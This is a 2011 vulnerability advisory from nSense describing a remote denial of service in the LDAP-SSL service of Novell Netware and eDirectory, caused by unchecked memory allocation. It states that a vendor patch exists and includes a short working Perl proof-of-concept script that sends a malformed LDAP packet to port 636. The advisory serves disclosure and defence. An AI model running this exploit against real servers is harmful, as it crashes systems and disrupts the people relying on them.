       nSense Vulnerability Research Security Advisory NSENSE-2011-002
       ---------------------------------------------------------------

       Affected Vendor:    Novell
       Affected Product:   Netware, eDirectory
       Platform:           Netware / Linux
       Impact:             Remote Denial of Service
       Vendor response:    Patch

       Technical details
       ---------------------------------------------------------------
       It is possible to cause a Denial of Service in Novell's
       LDAP-SSL daemon due to the system blindly allocating a
       user-specified amount of memory. Exploiting the issue on a
       Netware system will cause a system-wide DoS condition. A script
       for replicating the issue is included below:

       #!/usr/bin/perl
       # usage: ./novell.pl 10.0.0.1 0x41424344
       use IO::Socket::SSL;
       $socket = new IO::Socket::SSL(Proto=>"tcp",
       PeerAddr=>$ARGV[0], PeerPort=>636);
       die "unable to connect to $host:$port ($!)\n" unless $socket;
       print $socket "\x30\x84" . pack("N",hex($ARGV[1])) .
       "\x02\x01\x01\x60\x09\x02\x01\x03\x04\x02\x44\x4e\x80\x00" ;
       close $socket; print "done\n";
